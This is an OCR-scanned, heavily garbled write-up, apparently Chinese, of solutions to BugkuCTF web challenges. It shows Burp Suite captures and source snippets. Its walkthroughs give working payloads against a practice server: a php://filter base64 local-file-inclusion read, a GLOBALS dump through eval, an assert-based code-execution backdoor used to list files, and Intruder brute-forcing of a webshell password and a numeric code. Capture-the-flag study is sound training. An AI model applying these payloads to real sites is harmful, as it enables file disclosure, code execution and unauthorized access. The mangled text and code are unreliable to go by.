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s 1@ HTML

<IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.8 Transitional//EN" "http:/ www.w3.org/TR/xhtml1/DTD/xhtml1-transit

<html xmlns="http://www.w3.org/1999/xhtml"» |event

b <head>» (== ¢</head>

¥ <body id="body" onload="init()">»
<!--flag KEY{ 7 T -

<script Type= tText/Javascript src
<script type="text/javascript" src="]js/Snow.js">»</script>
b <script type="text/javascript"»l=l</script>
b o<dive e fdive
</body>
</html>

html > body#body
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+ CL 1% HTML
<IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.8 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> |event
b <head>l=l</head>
<span id="code" class="code" style="background: rgb(131, 93, 123) none repeat scroll @% e%; color: rgb(69, 174, 182);">»
57+68=2</span> |event

=
<input class="input” type="text" maxlength="1">
=
<button id="check" > f</button> event
b <div style="text-align:center;">=¢/div>

html > body
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flag{== g 2803}

3.webZiiti$_GET

Swhat=3$ GET['what'];
echo $what;
if(Swhat=="flag")
echo 'flag{****}';

HEEMMEES what=flag B A

€ - C 0O v Y © 72| 123.206.87.240:8002/get/?what=flag

& SDUTSec W& BugkuCTF - 3%+ & mREPEASFMEK & SDUTCTF2018 ()

Swhat=3$ GET['what'];

echo $what;

if(Swhat=="flag")

echo 'flag{****}’;
flagflagile & fad 0@l }

4.webkti$_POST



Swhat=$ POST['what'];
echo $what;
if(Swhat=="flag")

echo 'flag{****}’;

POST#%, I LAfE kI HackBar T 523

$what=$ POST['what'];
echo $what;
if(Swhat=="flag’)

echo 'flag{****}";

flagflag{agh gt it Tue}
v O=Esx Oeds OBEE (I aeed [Bcnwvas Q #a SRE = MNE
Encryption + Encoding~ SQL ~ XSS~ Other~ Chrome BackBar
) Load URL http://123.206.87.240:8002/post/
QL Split URL
Execut
) =xeere Post data | [] Referrer [] User Agent [] Cookies
what=flag

5.7 &

Snum=$_GET['num’l;
if(lis_ numeric($num))
{

echo $num;
if(Snhum==1)

echo 'flag{x*rrrrersy

}

8 =5
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is_numeric() BHAKN T EREB AR FEBFFHEE, 1is_numeric($num) KIZEBRNMBEREERAHFE, ERuM=14
FTEflag, FrAZEnUM=1JE II— M AR ZHIRS, SEHIRA e R8N

< C O v Y O F%2| 123.206.87.240:8002/get/index1.php?num=1a

& sDUTSec W& BugkuCTF - 3%+ & mREPEAZMEK & SDUTCTF2018 () Gffiub 1

Snum=$ GET['num'];
if(lis_numeric($num))
{

echo $num;
if(Shum==1)
echo 'ﬂag{**********}!:

}
1aflag{laegies Ta% g mlf}
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alert("flagPTEIX "),

alert ("FEshInmm )

alert ("flagfffEXE");

alert (“Fesbikmm™)
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</head>

</html >
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Hex to Text | EHT4HTE A4S LHT 2AHET L HAD EHAT LHT 3 EHT I EHT I AT 25;

Hexto Dec
Dec to Text
Octalto Dec
UTF7 to Text
UCS2 to Hex
Binary to Text
Unescape
CDECAHE HTML
Basebd to Text
Basebd to Hex
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T flag.baidu.com EE4TE123.206.87.240 FigE=Eflag

FEIREM: FTHF C:\Windows\System32\drivers\etc , JmiEhosts, TEHJG ML 123.206.87.240 flag.baidu.com fR7F

[;T C\Windows\System32\drivers\etc\hosts - Notepad++
IHHF) |EE) EBES) #mANV) ®B(N) BSL BEM I8RO =M EIR) BEEP) sOMW) ?

o . . T= - = = ] l
cHHE S LA s Mhiae/th x| BFE(S1EFEpo® | @ N M ME| &K .
= hostsﬂ'

1 # Copyright (c) 1993-2009 Microsoft Corp.

2 %

2 # This is a sample HOSTS file used by Microsoft TCP/IP for Windows.

4 #

S # This file contains the mappings of IP addresses to host names. Each

© # entry should be kept on an indiwvidual line. The IP address should

7 # be placed in the first column followed by the corresponding host name. E

8 # The IP address and the host name should be separated by at least one

S # space.

10 + E
11 # Additionally, comments (such as these) may be inserted on indiwvidual )
12 # lines or following the machine name denoted by a '#' symbol. k
13 + |
14 # For example: s
15 +# |
le # 102.54.94.97 rhino.acme.com # source server

17 # 38.25.63.10 ¥.acme.com # x client host

18

1% # localhost name resolution is handled within DNS itself.
20 # 127.0.0.1 localhost =
21 # = localhost
22
23 192.168.0.101 windowsl0.microdone.cn
24 123.206.87.240 flag.baidu.cod

Normal text file length: 893 lines: 24 Ln:24 Col:30 Sel:0]|0 Windows (CRLF) UTF-8 NS

SRJG V5 ) flag.baidu.com
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E Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry Lau - Unlimited by mxcx@fosecvn  — a X

Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner T Intruder IRepeater T Sequencer T Decoder T Comparer I Extender I Project options T User options IAIen‘.s ]

1% (2 = |3 = | ...
Go Eonrel < |v > | v Target: http://123.206.87.240:8002 | | | 7
Request Response

[ Raw | Headers | Hex |

J Raw T Headers T Hex I HTML I Render ]

GET /weblz/ HTTR/L1.1

Host: 123.Z06.87.240:8002

User-Lgent: Mozilla/5.0 (Windows NT Ll0.0; Win€d; =x&4:
rv:iE65.0) Gecko/Z0100101 Firefox/E5.0

Locept:

text/html, application/xhtml+xml, application/xml; q=0.9, i
mage/ webp, */ *:q=0.8

Lecept-Language:

zh-CH, zh:;qg=0.8, 2h-TW;g=0.7, sh-HE:; q=0.5,en-U3; q=0.3,en; q
=0.Z2

Connection: close

Upgrade-Insecure-Requests: L

Cache-Control: max-age=0

L

=
¥

0 matches

Connection: close A
Content-Length: &30

O<html>

<heads>

<meta charset="ucf-g">

<mmeta nawe="viewport" content="width=device-width,
initial-scale=1.0">

“«meta nawe="description" content="":

<meta name="author” content="":>

<title>Dummy game</title>

</ head>

<gcript language="JavaScript'":>

function myrefreshi() {

window.location.reload() ;

}

setTimeout( 'myrefresh() ', 500) ;

</scripts>

<hody>

<centerr<strong>I want to play Dummy game with
othersf But I can't stop!</strongs</center>
<center>Stop at panda ! u will get flag</centers
<center><dive<img sro="10.Jpg"/></div></center><br><a

style="display:none">£lag{cmmm = Eamntoml</a
=</ bodys>
</html>
[x
? < + > Type a searcit term 0 matches

766 bytes [ 17 muilis



flag In the variable ! <7php

error_reporting (0);
include “flagl.php”;
highlight filel file J:
1flis=et (3 GET[ args’ 1001
Jargs = $ GET[ args']:
if(lpreg match("/ "Ww+d/”, $args)) |
die("arsz error!”);
1

eval (“var_ dump($3args) 7).

BB EAE—-NERBHTE, HWitipayload args=GLOBALS

& cC 0 Yy © &2 | 123.206.87.240:8004/index1.php?args=GLOBALS & % 0O 4 ¥

& sDUTSec W& BugkuCTF - 3+ & BmalsAME & SDUTCTF2018 € GitHub {7 MSDN, &R Apache Tomcat® CTF

flag In the variable | <pip

error_reporting (0]

include “flagl.php”;

highlight file(  file

if(izset($ GET[ args’ 100
Jargs = $_GET[ ares’];
ifllpreg_match(”/ \w+d/”, Jargs) ) {

die("args  arror!”);

}

eval (“var_dump ($3args) ;")
}
Fpd

array(7) { ["GLOBALS"]=> *RECURSION* [" POST"]=> array(0) {} [" GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } [* COOKIE"]=>
array(0) { } ["_FILES"]=> array(0) { } ['"ZFkwe3"]=> string(38) "flag{@ 78" & &faiiaad™ " I )" ["args"]=> string(7) "GLOBALS" }

10.web5



HRERRN

1| <html>

2 | <hady>

3| <div style="displayinone;, "> ([0 D+ +01+ (0 [11+000O0 1) [+ + 00 ++007T+ CLIT+ 000 D400+ + D07+ 00 DT+ T+ 00T+ [T+ 01D T+ D0+ + 0+ L+ [ 7+ 00 [T+000 [+ +[117+1 1D
LT+ [T+ 01+ O T+ [+ 01+ 0 O+ 00 T+ 0T+ G0 OT+00C 0+ 000 T+ 0+ (0L O+ DI L0000 [+ + D0+ [+ 01T 1+ L1+ 000 D+ D0+ [T+ [T +000 T+ DD 3+ 0L [T+DT0 [+ 0040+ [T+ +
[+ L+ [+ + DD D+ D)+ L0+ D+ LT T+ O[T+ D1 [T+ D0 [T #0010 DOV LI+LD0 L0+ O DI +00 L0 C1+000 [+01 T+ CO L1 T+ 0 LO D [+t + LD+ L1 10+ [+ LD [ +[0 4+ +
1O D +LD T+ 1+ D+ D0 D+ D 0+ D0t LT+ O DT+ DD D+ D01 00 D+ LD+ DD D ]+ Gt DD+ COT+ LD COLT L DD+ D00 L+ D1+ C D DO+ DI COD D0 Dt + D] + L+ L1 T+ 0 LD+ LT0 [+ +1 4[] ]+
COPLT+0) T+ T+ P LT+ DD D+ LT+ L+ + D T+ DD+ LT D [+ + LT T+ DD [+ D]+ L] + 0+ L1 T+ LT+ DD DO LT+ 000 D+ LT T+ 0t [IT+LD D00 DD D+ + DT+ [+ 011+ € [T+010 D+ [T+ +L1]+C0 []+
[0+ 0 D+ D+t #0040+ T+ 0001+ 010 T+ #0000 [t + [0+ [+ 1T T COT LT 14000 Lt + 100+ 34000 Do+ D+t + L]+ 0+ D11+ 0V D1+ 000 [+ 000+ C00 [T+ 010 D+t + L1 1+ (DT TOD T+ 000 [+
[T+COI O D00 T+00T+C0 DO T+0I L0 00 [+ 4 D0+ [+ 00T+ DO+ 000 Do+ L0+t + D0+ D100 T D000 D000 D+ DT+ D0+ O 14 [T+ 000 [t + LTI+ L1 D+ [+ + [0+ 1700 [ ]+
DO+ O+ 00 O+ O+ O+ LT e+ 0+ o011+ 0 O+ D+ 0+ 00T+ 00 D010 T+ T+ 00 DT+ D00+ [0+ 010+ O DT+ [10 T+ 00070 T+ ]+ [+ 011 T+ 00
[+ [+ +000 00 L+ + D0+ L+000 0+ [+ T+ 010+ [T+ 000 Dt + LI+ (DL DT+ DO D0T I Dt + L0+ D+ 00 0+ (OO COIT+ L) [+ + [0+ LD+ D0 DT+ C OO+ D00 COOI L QO OO+ DD [+ 010 +C 0 [11 400
COD L+ D00 1+ O +LD Dr+ L1+ 0+ D0+ 00 VDT +00) D40+ O LT +000 D+ L+t L] 0+ [T T+ OOV LT+ 010 [0+ D10 T+ 000 L+ 00+t L0+t + LD T+ 000 [T+ LD 00 [I+000 L+ D1+ COE DD+ 0T DD
[+ L[+ D]+ C LI DD D+ DD+ L]+ LT+ DD D+ 0 DT+ L0) D L]+t + D+ LT T+ OV L]+ DD L+ DT T D) D+ LD+ L+LD T T+ D COD J+ 000 Dt + L1 T+ DI+ LT D+ [+t + [T+t 4[] ]+ 00t [T+
[+ + 0 D1+ [+ + D01+ COO COIT 000 C+L1 D+ 0C CI+00) [+ 000+ C0 LD+ LIC0I D0 [+ + 00 + L+ 0000+ QO LI+ 01) D+ L0+ + L1+ LT+ DD0 [+ 000+ C VL1400 [+ L]+ + D40 4L 4C0 0 [0+
DI+ 011+ 0+ + 00+ + 0T+ 0 T+ [0 3+ 00 O+ 00 D1+0D [0 01+00 DI +0 TOI D0 [+t + D+ 000 0 + 0 D1+ 0 D+ 00+t + [T 1+ 00 [T+000 [+ 01T+ DT+LT0 [+ [T+ [T+ 0
3+0 O+ [+t + D010 T+ + D0+ D1 T+ C T+ 0 D+ DI DD D+ [T+ + [0+ 00 TT L+ DT+t + LT+ D1+ D LT+ [ D100 + (e (e [T [+ DT T+ [+ LT T L0 [+ D [0 T+ [T+ DD [0
[+ L1+ O 1+ 00 L0 Do+ D+ Lo 11+ O O+ O+ L+ LT+ 0 (0 T 140 L+ DD D+ D+ e [T+ [T+ LD+ 000 T+ [0 T D0 [+ L+ [+ LD 00+ (et LI+ LTI L1D LCOI 00 [+
[ L0+ CO LTI+ COTTD D+ L0+ L+L1 D0+ O LT #0010 D+ D1 #1000+ CH L LT+ 0] ) L+ 0T+ O LT+ 00) D +0]+ + L1+ L0 T+ 0 VL1000 D+ + LT DT+ 000 D+ L]+ + L]+ + (D00 DD+ L D0 [T+000 [+
(340 0T+ 0 00000 Lot + L0+ [+ 000 D+ C L L1+ D00 Do+ LD+ LT T+ 00 [T+ 00) DL Tt DD+ LD Lo+ LTt (D00 [1T €0t 34000 Lt + 00000 [+ + L+ L+ 000+ (LI D LT+ L1 [+ + 00+ 0 (D410 [0 +
[+ Ee+103000 LTI T DT DD T+ 03 T E0) LD (D0 ) o0 (0 T C0OD) Lo+ D000 D) U0+ L0 CA D) Lo 3= T D e

REKHJISHIE, ERAHES, LEEH TRERZRK, HIMERKZES G

R D= Oewe OBEEE {((emEe [Ecwes QMg GmE = ME 8o « iEEks @ Hakear
W ¥ oimssE
CSS XHR &K

X (TGN I I+ IITND [+ L1 L+ LI+ C LT+ U D T L1 11 U T ID LD 1 CH LI+ I D D [0 2 DD e [ T (LU LT D) [ e DT D+ I D D e [ 1 [T+ O T+ DD T D11 LU DD [+ DD D+ D DT D+ DD DD+
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Burp Intruder Repeater Window Help

Bl Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry Lau - Unlimited by mxcx@fosecvn  — | X

[Target T Proxy TSpider TScanner T Intruder M Sequencer T Decoder TComparer T Extender T Project options T User options TAIerts ]

B

Go Cancel

Request

H Headers T Hex W

<lvi| >

Target: http://123.206.87.240:9009

Response

H Headers T Hex T HTML T Render W

GET /hd.php HTTP/L1.1

Host: 123.20£.87.240:8009

User-Agent: Mozilla/5.0 (Windows NT 10.0:
Gecko/20100101 Firefox/E5.0

Aocept:

text/html, application/xhtml+xml, application/xml;:q=0.9, images/ webp
SN g=0.8

Aocept-Languads:

zh—-CH, zh;q=0.8, zh-TW; q=0.7, zh-HK; gq=0.5,en-US;qg=0.3,en;q=0.2
Connection: close

Upgrade-Inssecure-Fequests: 1

Cache-Control: max-age=0

Wingd:; =é4; rv:£5.0)

@ @ E @ e

Done

120 35 4 R
BB, @M T

o RS ARESRE LR EERR By ESIlIR QQ:343034656

[« F

0 matches

HTTP/1.1 Z00 OK A
Server: nginx P
Date: Fri, 15 Feb 2019 09:17:54 GMT
Content-Type: text/html
Connection: close
flag{ _ T ] g |
Content-Length: 139
<html>
<meta http-equiv="Content-Typ="
content="text/html; charsec=UTF-8" />
sprex<brsr<br><br><br>000000<br><br>
</html>
=
12
|Type a search term 0 matches

303 bytes | 31 miilis

f4s: [http://123 206, B7. 240:8002/webshell/

| FEREE s

H#H —A shell.php, ik

432 (% CPUBL, * SER{E) %DIR: 1153 %L‘SH{: 822 %Eﬂ:mn
ASP: 1854 FHF: 1066 403
iah: (¥ BHNNEHER) 7 ms: 419 [ 15P: 631 ] #Fiaxx
HEER: HERE. FEEE: 0 R : 0/
1D it HTTPAR]EL
1 http: //123. 206. 67. 2406002 /webshell /index. php 200
2 http://123. 206, 87. 240:8002 /webshell /shell. php 200




PASS: ees

hitps://blog.csdn.netiweixin_43921596

RIE R, XBZERSbp B W KRB RET

E  Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry Lau - Unlimited by r
Burp Intruder Repeater Window Help

[ Target w Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Projec
M HTTP history T WebSocksts history T Options }

#| Request to http://123 206 67 240-5002

Fowad || Oop | (tscoptison] [ cion |

HParams THeade.'s THex ] Send to Spider
OST /webshell/shell.php HITP/ L. 1 Do an active scan
ost: 123.206.87.240:8002 Send to Intruder
‘ser—-Agent: Mozilla/5.0 (Windows INT 10.0; W L0l Firefox/
cocept: text/html, application/xhtml+xml, app Send to Repeater Ctrl+R *re=0.8
ceept-Language: zh-CHN, zh;q=0.8, zh-TW;q=0.7 Send to Sequencer 2
eferer: http://123.206.87.240:28002/webshel
ontent-Type: application/x-www-form-urlenc SendtoComparer
ontent-Length: B Sand to Decoder
onnection: close )
parade-Insscure—-Recuests: 1 Request in browser
Engagement tools
ass=123
Mhanna rannact mothnd

[ Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosecvn  — | >
Burp Intruder Repeater Window Help

[Ta.'get T Proxy TSpide.r T Scanner Repeater TSequeﬂce: T Decoder T Comparer TExtende.' Tiject options T User options TA.Ie.'ts l

[ Target T Positions Options }

Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various
payload types are available for each payload set, and each payload type can be customized in different ways.

Payload set: [1 H Payload count: 0

Payload type: | Simple list * g Request count: 0

Payload Options [Simple list]

&

This payload type lets you configure a simple list of strings that are used as payloads.

| Add from list ... 4]




Fuzzing - quick )
Fuzzing - full

Usernames B
Passwords P-_—’—
Short words

a-z

A7 E
| Add from st ... a

THRE, JomdilengthtZdl, #ATTHFHET, HHMBHKEARR TR A U —IRE 2

E Intruder attack 1

Attack Save Columns

JRequts TTarget T Positions I Payloads T Options }

Filter: Showing all items

[~]

4

Request | Payload | Status | Emor | Timeout | Length 4| Comment

ho44 hack 200 O 0 110 | A
0 200 O O 1125

1 I@#5% 200 O O 1125 a
2 l@#5%" 200 O O 1125

3 l@#5%"& 200 O O 1125

4 l@#3%" & 200 O O 1125

b Iroat 200 O O 1125

6 $SRV 200 O O 1125

7 $Ssecured 200 O [] M25

8 *3noguru 200 O 125 Fi
WU EEREE MM

E Intruder attack 1 — O x

Attack Save Columns

JRequts TTarget T Positions I Payloads T Options }

Filter: Showing all items [EJ
Request | Payload | Status | Emor | Timeout | Length & Comment

1944 | hack | 200 ) ] 1110 L
0 200 ] O] 1125

1 l@#5% 200 O Ol 1125

2 I@#5%" 200 ] O] 1125

3 l@#3%"& 200 O Ol 1125

4 I@#5%"&" 200 ] O] 1125

b Iroot 200 O | 1125

6 $SRV 200 O Ol 1125

7 $Ssecured 200 O [] M25

8 *3noguru 200 O 125 Fi

Request Respuﬂse*——"

I}

TEFT T

jRaw I Headers T Hex T HTML I Render ]

<div
style="width:
#000000; clear: both; "

350px; height: S30px; margin-top: 50px; color:

PASS:<input type="password" name="pass" style="width:

2T70pH: "




< dive>
<div style="width: 350px; height: BOpx; clear: both;">
<lnput type="submit" value="0O0" style="width: S0px;">

</ div>
<centers
=cl; "
flag{le & fwm T 3} A

</3pan>

</centers

</ div>
</ forms
</fcenter>

</hody> y,
</htmls> ..'

? < + =3 Type a search term 0 matches
(e

i1 1.l | ——— | 1{ 1=/ 31 [+ 1o W ol=ln [ Mo (= U TR T K a1

7T AZE ) B 88 N RS

13.web4



Rr-BEFERAE, BEE—T

<html>
| <tit1e>BECTF-WERB4</title>
| <body>
<div style="display:inone; “»></div>
| <form action="index. php” method="post” >
[ BERRAERT b
| <br
<scripty
war pl =
T WEEKETE%E % 63% T A6 0% L%He % 20%H3HE SHESHEIH ELRSIHTERH2HEANE I TARZEN 20K THRTHRE 16T 2% 20%E L% 3d% 64RO LRGN TSRAANA 5% 6k 746 2ehETHEE % T 444556 cHEEREAN BEHELHT 444257 IH 49464828
BIIRTONALNTINTINT THELH TN 6% 220 20K ILE AONA AR N2 2% TEHARALE ARKE A% A DN BE BN AR DE2 1% 2N T 447 0% TO%AEE AENERYE 20%6 1% 200 T LA DY AE% 28% 22 2R K3 THAANI TR 20N 304 624 324627
war pd =
THAINE %I RN TN I AZHEANIEHAERITNI THE 1N 3T I 1N LNIANE6% 3 102 N3R35 1% 2 TAHE 1A % T SHASH 20N TONAEK TAR TENT2%A ol 2 1% 30% InU6E 1% A HAERT 24T 4285200 4% T 24T 2HE£% 7202 2420% 3
a2k 0nRETREEN T BN T 3N 28N 20%3bKh T2RO5N TART BT 2% 6% 2 1% S 15T A% 7 ake4%a THE3M TR GdRO5%Ee R TA%2e%0 THOBKT 4% 45490 K 05 %6 AROEH 0 e T 4% 424 7 0% 40K 0 4% 28% 2256 cHOEH TE% 0% 6HE 1 HTEREEN
T T A%20% 2% 5 £ UG T INT ERAINA DN 0% T A0 3 A%E INAEEA %A INERE B IR TERAZRAINE0NT 44 3
Ieval(unescape(pl) + unescapel %30%34%01%01%32° + p2))‘|

TITT

<imput type="input” name="flag” 1d="flag” />
| <input type="submit” name="submit” value="Submit” />
i </ form>
< /body>
| <Shtmd

KIURLG Y, HEER R, MERERHKEEE, BURLGWMEERLY

i\ (FAG{E )

#bb*75%be%b3% T 4269%b % be X 2072 b3%68%B5%63%6b
#53%75%62%bd%69%7 47, 28% 297 7b% 76761 %7 2% 20%61 % 3d %64 %6f
#%B3%75%6d%b65%6e% 742 26 %67 %265%7 44455665 %6d%65%6e

ST A2 T A BA%, 285225, 7 10061 %7 3% T 3% 7 72468

AT 2 BA% 227 297 3b 569X BE % 287 22% 75 % be 647 bE % bb X637 be
ZBB%B4% 22721 % 3d% 7 4% 79% 7 0265 %6 %667 20%61 %29%7h

ZEBY%BEE 8% 2 2% 3B 3T XA 3T 307 39782732762

%35%34%B1 %61 %32

ZB1 2B % 36% 347 385 b 3% bb X 36765 36737 b1 X 3731 231 X34 %6873
1%22%3d7%3d%61 % 2e %7661 2B 75%65% 29% 7 2%05% 7 4% 75%7 2% e
%21 % 30%3b%061 26057 2% 7 4% 28% 2254557 257 2 %6

%7 2522%29% 3b %61 % 250665 BB 3% 75%7 3% 28% 29%3b

%7 2%BBETARTEXT 2% BeX 2 N %7 d% 7 d %64 %6F%63% 752 6d%65%6e
%747 2e%67%60% 747 45%6c%65%6d%65%6e
ZTAZA2XTI%AN B4 28%22%Bc%B5%76%E5% 6

D K 7OHBE T 3% T A% 2 2% 29% 2e bl i he T 3% 7 5% b 2% bd%b3% 7 4%3d
#B3%b8%B65%b3%bb%532%75%62%6d%69%74%3b

it GEm(E)

function checkSubmit([{var a=document. getE lementByld["'password"):if
{1} ] III_ -

"67d709b2b54aa2aab48cibeb7a7 1140 "='=avalue]eturn!0.‘alert

"Ermor”);a.tocus|[returnl T rdocument. gett lementB yld
["levelluest”] onsubmit=checkSubmit:

RR—BEFRFHHT, EEARK! @EiER)
BEIRE?

KEY{>. & i}

14.flagfE index &



® FZ= | 123.206.87.240:8005/post/index.php?file=show.php

XR—MHRBP A ERTE, (fleXRFRIER, HEWRECTFHER)
X E R T phpHE2E . http:/php.net/manual/zh/wrappers.php.php
BEREARR, g R: http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-

encode/resource=index.php

& C O o Yy @ A 22| 123.206.87.240:8005/post/index php?file=php://filter/read=convert base64-encod... & Y 1 o ¥

& sDUTSec W BughuCTF - 3T & EmEPEASRSEI & SDUTCTF2018 €) GitHub {7 MSDN, E&(R Apache Tomcat® CTF

PGhObWw+DQoglCAgPHRpdGxIPkJ1Z2t1LWNOZjwvdGl0bGU +DQoglCAgDQo8P3BocAOKCWVyecm9yX3JlcG9ydGluZygwKTsNCglpZighJFOH

SR 5 K13 B 1 F 17 B base64 1943 Blindexi) D :

<html>
<title>Bugku-ctf</title>

<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php”>click me? no</a>";}
$file=$ GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input”)||stristr($file,"data™)){
echo "Oh nol™;
exit();
i
include($file);
//flag-flag{ede’s & ol fme! o it}
?>
I<fhtm|:>

BAE B4R M) file=php://filter/read=convert.base64-encode/resource=index.php K& X

BHhRXE - MleXEFHgetZHiftiE, php:// BR—FMLAETR, php://Ffilter/ & —Fhijy ia) 4 ST 1
P, /read=convert.base64-encode/ RAIEEI T R &base644mtL )5, resource=index.php &z~ HAx3CHF Nindex.php.

BB S H] S Elindex.phpFIIERS, TFHIRHE AT A, FEELH Kinclude %, XANRR NI S N\ php T3k
17, WRPATAREID, Bk B S IR .

Miinclude ) 9 252 B A P i, BrLB S BATE#EMfileS %, Zinclude()& %5 A Tindex phpiibase644migig X, F AR
base64 4t , FrUABAT AL, REVEND, FrLLERAIE 2] TIRIEKbase64ig X, EIGEIT .,

WMRAH#Tbase64midE N, MEEEIIT, Miaghfs BAETREY, —REAIN.
%, hitps://blog.csdn.net/zpy1998zpy/article/details/80585443

15. M A\ & LA Eflag

EHMAEE X

&« G ® OF 1 123.206.8?.240:8002;bao{ BE e 1y i O T » =

BN e Ll A


http://php.net/manual/zh/wrappers.php.php
https://blog.csdn.net/zpy1998zpy/article/details/80585443

~ o TEWIN AT

PN EEE | =
B\ SAEEEE, AT RER,
L]

WIERR, HBbp HRME TR

l. Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosecvn — O X
Burp Intruder Repeater Window Help

[Target I Proxy T Spider I Scanner Ilntmder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options L’-\Ierts 1

1= |2 = Sas ...

Target | Positions PayloadsTOpiions}
. _ a

@ Payload Sets Start attack | |

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various
payload types are available for each payload set, and each payload type can be customized in different ways.

Payload set: l‘l |V] Payload count: 90,000

Payload type: lNumhers\pJRequest count: 180,000

Payload Options [Numbers]

&)

This payload type generates numeric payloads within a given range and in a specified format.

Mumber range v
Type: ® Sequential () Random

From: 10000 """

To: 99999 mm—

Step: ‘1 *_._ ‘

How many:

MNumber format

Base: (® Decimal () Hex

Min integer digits: E

THEZ G, B! !

B Intruder attack 2 — O *

Attack Save Columns

j Results T Target I Positions T Payloads I Options ]

Filter: Showing all items

()

| Reauest | Pasition | Pavlnad | Status | Frrar | Timenut | | enath & | Comment




PR RRRSES T I = e

93580 2 13579 200 O O 246 |T
0 200 O O 1327 )
1 1 10000 200 O O 1327
2 1 10001 200 O O 1327
3 1 10002 200 O O 1327
4 1 10003 200 O O 1327
5 1 10004 200 O O 1327
6 1 10005 200 O O 1327
7 1 10006 200 O O 1327
8 1 10007 200 O O 1327 i:'
EEW
B Intruder attack 2 =
Attack Sawve Columns
JRequts ITarget T Positions I Payloads T Options }
Filter: Showing all items ?
Request | Position | Payload | Status | Emor | Timeout |Length 4| Comment
93580 2 13579 200 ] ] 246 E
] 200 O O 1327
1 1 10000 200 O O 1327 t
2 1 10001 200 O O 1327
3 1 10002 200 O O 1327
4 1 10003 200 O O 1327
5 1 10004 200 O O 1327
6 1 10005 200 O O 1327
T 1 10006 200 O O 1327
8 1 10007 200 O O 1327 :,

Request | Response ]

J Raw | Headers | Hex |

HTTE/1l.1 Z00 OE

Server: nginx

Date: Fri, 15 Feb Z019 11:28:35 GHT

Content-Type: text/html

Connection: close

Set-Cookie: isview=1357Y9; expires=Fri, 15-Feb-I019 14:28:35 GNT
Content-Length: 48

Tlag{Imms & Tl }

</hody>
</html>

BTE 3 T 25 R AR A S A D

123.206.87.240:8002/baopo/?ye X [ReFuan X |+

& c @ @ 123.206.87.240:8002/baopo/?yes BE e
po/?y

flag{te @' 0 "0 fmh}

16. 5 —H TR




<fetyler
<head>
<{meta charset="utf-8"
<{meta name="viewport” content="width=device-width, initial-scale=1">
<script sre="jauery-32.2. 1. min. ig" < scripty
Stitlermm— B titler
</head>
<body>
<hl id="goal”>Goal: <span id="clickcount™>0</ span>/1000000<, h1>
<img id="cookie” src="cookie. pns"
<span 1d="flag"></span>
<Sbody>
<scriptr
var clicks=0
$lfunction() |
3" #cookie”)
. mousedown (function() {
$lthis). width( 350px" ). height 7 350px ) ;
1l
. mouseup Lfunction () {
F$lthis). width( 375px’ ). height " 375px’ ) ;
clicks++;
FC#elickeount”™ ), text (clicks)
iflelicks »= 10000007 {
var form = 30 {form action="" method="post™> +
P {input type="text” name="clicks” wvalue="" + clicks + 7 hidden/> +
T fformy )
30 body’ ). append( form) ;
form submit();

SRS AT AT, Hclicks=10000008F, flaggiti>R T . 1M EHi&ZpostiE=R, Fi%EAMRETSER

Goal: 0/1000000

M O=sF Osws OmtE () axeEs Bcwves @M Gmns = RE 8&E v dESHs @ Hacksar -

Encryption ~ Encoding~ SQL ~ XSS~ Other ~ Chrome BackBar Contribute me! HackBar v2
@ Load URL hittp://123.206.87.240:9001/test/ -
\ 0.1
* Split URL U

Execute
Y Postdata [ Referrer [ User Agent [] Cookies

clicks=1000000




Challenge 1761 Solves

TIg—a1h
100

http://123.206.87.240:8010/

EEE A NI —aE

<?php $poc="a#s#s#e#r#t"; Spoc_l=explode("#"Spoc);
$poc_2=%poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc 2($ GET['s']) ?>

exipde()7r ¥la#ts#sHettritt Nassert, { Flassert()REIMHT LR KsE, assertH RIGHATIFIN. HiEpayload
s=print_r(scandir('./")); BEEREHZ

&« C 0O v Yy © FZ=2| 123.206.87.240:8010/?s=print_r(scandir(%27./%27)); B 2w L o ¥

.

& sDUTSec W& BugkuCTF - 3%+ & mImaRBAFMEN o SDUTCTF2018 ) GitHub {7 MSDN, #=ifir  [& Apache Tomcat® - CTF

Array ( [0] => %B1%A3%BB%Adctf%C8%CB%C8%CB%D3%D0%DA4%F0.%D3%E9%C0%D6%D2%BB%CF%C2%BE%CD%BA%C3 [1] => . [2]

=> . [3] => htaccess [4] => 2.php [5] => f94lag.txt [6] =p fldg.php [7] => flag.php [8] => flag.txt [9] => flag1.php [10] => index.php [11]
=> newfile.txt ) can you get flag?

flagF] REBUBAEX B, H—TF

< C 0O v Y O© TZ2| 123.206.87.240:8010/f94lag.txt
& sDUTSec W& BugkuCTF - 3+ o EIRAPEE SRS & SDUT CTF 201

BUGKU (bt sty © i)

18.51 & & (SKCTF)



< C 0O v Y O T2 123.206.31.8549162 % 0

[

& sDUTSec W& BugkuCTF - 39T+ & mmdfssc¥ME & SDUTCTF2018 € GitHub {7 MSDN, B&5iF(R  [@& Apache Tomcat® CTF
»F7, MEE-IHEENER, RALE, BT,
HBTHER, RAENSRTRES:  EE?
FaFER, (BB FASEBLZESE. “EAT? AEEEREL?
"B, IREMARRETIE? " SRNERES, ESANELENRE......
"BEREERXA. WE, Rk —
ARUOFHEIER AT THEE, EERERNOA MG, a5 —aEnbok .
"HRBIEMIE T T4, BREERT!

"HCEBREENT. o o 0 0 o o o !

PHPEILR FRIFANES

We] I
B TRARRS 2 5 (IR

<html >
v <head>
<titlerd/titler
<style type="textfcss”>
Jink {
text-decoration: none;
color: #000;

} }
) .link :hover |
1 text-decoration: none;
